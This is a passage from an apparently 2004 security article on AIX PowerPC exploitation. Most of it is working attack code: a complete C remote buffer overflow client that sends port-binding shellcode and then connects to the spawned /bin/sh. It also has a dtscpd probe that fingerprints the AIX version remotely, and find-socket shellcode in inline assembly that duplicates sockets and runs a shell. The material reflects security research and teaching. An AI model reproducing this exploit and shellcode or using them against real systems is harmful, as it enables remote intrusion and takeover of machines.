0x41424344
1094861636
ctr 0x0 0
xer 0x0 0
fpscr 0x0 0
vscr
0x0 0
vrsave
0x0 0
It is easy to write the
attack programme after gaining the overflow buffer size and the return
address.
/* client.c - remote overflow
demo
*
* 2004.06.16
* san@nsfocus.com
*/
#include
<stdio.h>
#include <string.h>
#include
<stdlib.h>
#include <unistd.h>
#include
<ctype.h>
#include <sys/types.h>
#include
<sys/socket.h>
#include <sys/ioctl.h>
#include
<sys/time.h>
#include <netdb.h>
#include
<netinet/in.h>
#include <arpa/inet.h>
#include
<errno.h>
// It needs adjust.
#define RET
0x2ff22d88;
unsigned char sh_Buff[]
=
"\x7e\x94\xa2\x79" /*
xor. r20,r20,r20 */
"\x40\x82\xff\xfd"
/*
bnel <syscallcode> */
"\x7e\xa8\x02\xa6"
/*
mflr r21 */
"\x3a\xc0\x01\xff"
/* lil
r22,0x1ff */
"\x3a\xf6\xfe\x2d"
/* cal
r23,-467(r22) */
"\x7e\xb5\xba\x14"
/* cax
r21,r21,r23 */
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x20"
/*
bctr
*/
"\x05\x82\x53\xa0"
/* syscall
numbers */
"\x87\xa0\x01\x42"
/* execve=0x05 close=0xa0
*/
"\x8d\x8c\x8b\x8a"
/* socket=0x8d
bind=0x8c */
/* listen=0x8b naccept=0x8a
*/
/*
kfcntl=0x142
*/
"\x4c\xc6\x33\x42"
/* crorc
cr6,cr6,cr6 */
"\x44\xff\xff\x02"
/*
svca 0x0 */
"\x3a\xb5\xff\xf8"
/* cal
r21,-8(r21) */
"\x2c\x74\x12\x34"
/*
cmpi cr0,r20,0x1234
*/
"\x41\x82\xff\xfd"
/*
beql <bindsckcode> */
"\x7f\x08\x02\xa6"
/*
mflr r24 */
"\x92\x98\xff\xfc"
/*
st r20,-4(r24) */
"\x38\x76\xfe\x03"
/* cal
r3,-509(r22)
*/
"\x38\x96\xfe\x02"
/* cal
r4,-510(r22)
*/
"\x98\x78\xff\xf9"
/* stb
r3,-7(r24)
*/
"\x7e\x85\xa3\x78"
/*
mr r5,r20
*/
"\x88\x55\xff\xfc"
/* lbz
r2,-4(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7c\x79\x1b\x78"
/*
mr r25,r3
*/
"\x38\x98\xff\xf8"
/* cal
r4,-8(r24)
*/
"\x38\xb6\xfe\x11"
/* cal
r5,-495(r22)
*/
"\x88\x55\xff\xfd"
/* lbz
r2,-3(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x38\x96\xfe\x06"
/* cal
r4,-506(r22)
*/
"\x88\x55\xff\xfe"
/* lbz
r2,-2(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x7e\x84\xa3\x78"
/*
mr r4,r20
*/
"\x7e\x85\xa3\x78"
/*
mr r5,r20
*/
"\x88\x55\xff\xff"
/* lbz
r2,-1(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7c\x79\x1b\x78"
/*
mr r25,r3
*/
"\x3b\x56\xfe\x03"
/* cal
r26,-509(r22) */
"\x7f\x43\xd3\x78"
/*
mr r3,r26
*/
"\x88\x55\xff\xf7"
/* lbz
r2,-9(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x7f\x23\xcb\x78"
/*
mr r3,r25
*/
"\x7e\x84\xa3\x78"
/*
mr r4,r20
*/
"\x7f\x45\xd3\x78"
/*
mr r5,r26
*/
"\xa0\x55\xff\xfa"
/* lhz
r2,-6(r21)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x21"
/*
bctrl */
"\x37\x5a\xff\xff"
/* ai.
r26,r26,-1
*/
"\x40\x80\xff\xd4"
/* bge
<bindsckcode+120> */
"\x7c\xa5\x2a\x79"
/*
xor. r5,r5,r5
*/
"\x40\x82\xff\xfd"
/*
bnel <shellcode> */
"\x7f\xe8\x02\xa6"
/*
mflr r31 */
"\x3b\xff\x01\x20"
/* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08"
/* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10"
/* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10"
/*
st r3,-240(r31)
*/
"\x90\xbf\xff\x14"
/*
st r5,-236(r31)
*/
"\x88\x55\xff\xf4"
/* lbz
r2,-12(r21) */
"\x98\xbf\xff\x0f"
/* stb
r5,-241(r31)
*/
"\x7e\xa9\x03\xa6"
/* mtctr
r21 */
"\x4e\x80\x04\x20"
/*
bctr
*/
"/bin/sh"
;
// ripped from
isno
int Make_Connection(char *address,int port,int
timeout)
{
struct sockaddr_in
target;
int
s,i,bf;
fd_set
wd;
struct timeval
tv;
s =
socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return
-1;
target.sin_family =
AF_INET;
target.sin_addr.s_addr =
inet_addr(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return
-2;
}
target.sin_port
= htons(port);
bf =
1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec
= timeout;
tv.tv_usec =
0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct
sockaddr
*)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return
-3;
}
if(i==0)
{
close(s);
return
-4;
}
i =
sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char
*)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
return
-5;
}
ioctl(s,FIONBIO,&bf);
return
s;
}
/* ripped from TESO code */
void shell (int
sock)
{
int
l;
char buf[512];
fd_set rfds;
while
(1) {
FD_SET (0,
&rfds);
FD_SET
(sock,
&rfds);
select
(sock + 1, &rfds, NULL, NULL,
NULL);
if (FD_ISSET
(0, &rfds))
{
l
= read (0, buf, sizeof
(buf));
if
(l <= 0)
{
perror
("read
user");
exit
(EXIT_FAILURE);
}
write
(sock, buf,
l);
}
if
(FD_ISSET (sock, &rfds))
{
l
= read (sock, buf, sizeof
(buf));
if
(l <= 0)
{
perror
("read
remote");
exit
(EXIT_FAILURE);
}
write
(1, buf,
l);
}
}
}
void
PrintSc(unsigned char *lpBuff, int
buffsize)
{
int
i,j;
char *p;
char
msg[4];
fprintf(stderr, "/* %d bytes
*/\n",buffsize);
for(i=0;i<buffsize;i++)
{
if((i%4)==0)
if(i!=0)
fprintf(stderr,
"\"\n\"");
else
fprintf(stderr,
"\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for(
p = msg, j=0; j < 4; p++, j++
)
{
if(isupper(*p))
fprintf(stderr,
"%c",
_tolower(*p));
else
fprintf(stderr,
"%c",
p[0]);
}
}
fprintf(stderr,
"\";\n");
}
int main(int argc, char *argv[]) {
unsigned char
Buff[1024];
unsigned long
*ps;
int s, i,
k;
if (argc < 3)
{
fprintf(stderr,
"Usage: %s remote_ip remote_port\n",
argv[0]);
return
-1;
}
s =
Make_Connection(argv[1], atoi(argv[2]), 10);
if
(!s) {
fprintf(stderr,
"[-] Connect failed.
\n");
return
-1;
}
ps =
(unsigned long *)Buff;
for(i=0;
i<sizeof(Buff)/4;
i++)
{
*(ps++)
=
0x60000000;
}
i
= sizeof(sh_Buff) %
4;
memcpy(&Buff[sizeof(Buff)
- sizeof(sh_Buff) - i], sh_Buff,
sizeof(sh_Buff));
ps = (unsigned long
*)Buff;
for(i=0; i<92/4;
i++)
{
*(ps++)
=
RET;
}
Buff[sizeof(Buff)
- 1] =
0;
//PrintSc(Buff,
sizeof(Buff));
i = send(s, Buff,
sizeof(Buff), 0);
if (i <= 0)
{
fprintf(stderr, "[-]
Send failed.
\n");
return
-1;
}
sleep
(1);
k =
Make_Connection(argv[1], 4660, 10);
if (!k)
{
fprintf(stderr, "[-]
Connect failed.
\n");
return
-1;
}
shell(k);
}
Attack
program is easy, but there are different syscall numbers in various AIX
editions. In local exploit, you can use oslevel -r to determin AIX
version, and then write in the corresponding syscall number. It is invalid
in remote exploit. If the remote server provides dtscpd service(6112), we
can send the following data to dtscpd service:
char peer0_0[] =
{
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x30, 0x34, 0x30,
0x30, 0x30, 0x64, 0x30, 0x30,
0x30, 0x31, 0x20, 0x20, 0x34, 0x20,
0x00, 0x72,
0x6f, 0x6f, 0x74, 0x00, 0x00, 0x31, 0x30, 0x00,
0x00
};
The dtscpd service will return the following information about
system in my box:
aix5:AIX:1:001381144C00
So we can obtain
AIX version remotely, and then we write corresponding syscall number in
shellcode by remote exploit.
--[ 8 - Find socket
shellcode
Binding port shellcode can't be possibly connected and
neither can connect back in the secure network environment protected by
firewall. However, you can use the socket for attacking
connect.
The LSD provides a way that uses getpeername to find
socket, but there exists a problem that the port sent by attacker in the
NAT network environment won't matches with the one searched by server. In
addition, bkbll ever refered to another easy way that is OOB. Out of band
data won't be blocked in Berkeley socket implement.
The following
codes show how this shellcode to implement on AIX5.1:
void
ShellCode()
{
asm \
("
\
Start: ;\
xor. %r20,
%r20,
%r20 ;\
bnel Start
;\
mflr %r21 ;\
addi %r21,
%r21,
12 ;\
b
Loop ;\
crorc
%cr6, %cr6,
%cr6 ;\
svca 0
;\
\
Loop:
;\
li %r2,
0x81
;\
mr %r3,
%r20
;\
addi %r4,
%r21,
-40 ;\
li %r5,
1 ;\
li %r6,
1 ;\
mtctr
%r21 ;\
bctrl
;\
\
lbz
%r4,
-40(%r21) ;\
cmpi %cr0,
%r4, 0x49
;\
beq
Found
;\
addi %r20,
%r20, 1
;\
b
Loop ;\
\
Found: ;\
li %r22,
2
;\
\
DupHandle: ;\
li %r2,
0xa0
;\
mr %r3,
%r22
;\
mtctr
%r21 ;\
bctrl
;\
\
li %r2,
0x142 ;\
mr %r3,
%r20
;\
li %r4,
0 ;\
mr %r5,
%r22
;\
mtctr
%r21 ;\
bctrl
;\
\
addic. %r22,
%r22,
-1 ;\
bge
DupHandle
;\
\
addi %r3,
%r21,
140 ;\
stw
%r3,
-8(%r1) ;\
li %r5,
0 ;\
stw
%r5,
-4(%r1) ;\
subi %r4,
%r1, 8
;\
li %r2,
5 ;\
crorc
%cr6, %cr6,
%cr6 ;\
svca 0
;\
.byte
'/', 'b', 'i',
'n', \
'/',
's', 'h', 0x0 ;\
");
}
The
AIXes of other editions need changed the corresponding syscall
number.
I have a presentation about find socket shellcode in Xcon
2004, and it is in various ways on various OS.
--[ 9 -
Reference
[1] UNIX Assembly Codes Development for
Vulnerabilities Illustration Purposes
http://lsd-pl.net/unix_assembly.html
[2] PowerPC
/ OS X (Darwin) Shellcode Assembly - B-r00t
[3] Assembler
Language Reference
http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/alangreftfrm.htm
[4] PowerPC
Microprocessor Family: The Programming Environments for 32-Bit
Microprocessors
http://www-3.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2/$file/6xx_pem.pdf
[5] OPTIMIZING
PowerPC CODE - Gary Kacmarcik
[6] PowerPC
assembly
http://www-900.ibm.com/developerWorks/cn/linux/hardware/ppc/assembly/index_eng.shtml
[7] A
developer's guide to the PowerPC architecture
http://www-900.ibm.com/developerWorks/cn/linux/l-powarch/index_eng.shtml
[8] [Tips]AIX
(PPC)??exploite 1?
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28177
[9] http://aixpdslib.seas.ucla.edu/
[10] 64-bit PowerPC
ELF Application Binary Interface Supplement
1.7
http://www.linuxbase.org/spec/ELF/ppc64/spec/book1.html
[11]
Mach-O Runtime Conventions for PowerPC
http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/2rt_powerpc_abi/chapter_9_section_1.html
[12]
Programmer's Introduction to PowerPC
http://physinfo-mac0.ulb.ac.be/divers_html/PowerPC_Programming_Info/intro_to_ppc/ppc0_index.html
[13]
http://www.honeynet.org/scans/scan28/